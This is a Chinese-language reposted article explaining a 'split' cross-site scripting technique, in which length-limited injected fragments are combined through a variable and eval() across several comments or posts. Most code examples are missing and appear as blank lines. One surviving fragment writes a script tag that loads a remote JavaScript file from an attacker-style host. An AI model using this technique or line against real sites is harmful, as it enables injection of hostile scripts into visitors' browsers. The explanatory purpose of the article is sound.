Xss拆分跨站法脚本安全 -电脑资料

电脑资料 时间:2019-01-01 我要投稿
【www.unjs.com - 电脑资料】

   

    著名安全研究员剑心曾发布一篇文章叫做《疯狂的跨站之行》,里面讲述了一种特别的Xss利用技巧,就是当应用程序没有过滤Xss关键字符人(如<、>)却对输入字符长度有限制的情况下,如何使用“拆分法”执行跨站脚本代码,

Xss拆分跨站法脚本安全

    当时剑心发现某个网站存在Xss漏洞,漏洞出现在评论的联系方式处,但是,这处只能写入30个字符长度,必须的 就占用了17个字符,剩下的只有13个字符可以支配,如此一来,这个Xss只能用来弹出一个对话框。

    幸运的是,网站的评论处可以重复留言,也就是说可以提交多个脚本标记,于是剑心造出以下Expliot:

   

   

   

   

   

   

   

   

   

   

    上述代码的作用是引入一个字符串变量Z,并且将下行代码拆分开来:

    document.write(’ src=//www.shell.net/1.js>

    然后分几次将其嵌入到变量Z中,最后通过eval(Z)巧妙地执行代码,

电脑资料

Xss拆分跨站法脚本安全》(https://www.unjs.com)。

    由此可见,拆分法跨站的核心是:把跨站代码分成几个片段,然后再使用某种方式将其拼凑在一起执行,这和缓冲区溢出的shellcode的利用方式有异曲同工之妙。

    为了让大家了解这种技巧的精髓,我们举一个简单的例子。

    假设有个博客存在Xss漏洞,该Xss出现在标题处,并且对输入字符的长度有限制,此时可以使用拆分法连续发表4篇文章,分别如下所示:

   

    经过程序的处理后,最终页面返回结果如下:

   

    /**/在脚本标签中是注释的意思,所以/**/之内的字符会自动被忽略,以上代码最终转变成:

   

    然后,依次赋值给Z变量,得到:

   

    于是,

    下篇文章将会讲述一个“拆分跨站法”思想的Xss案例,敬请关注。

    ByJ4s0n.

最新文章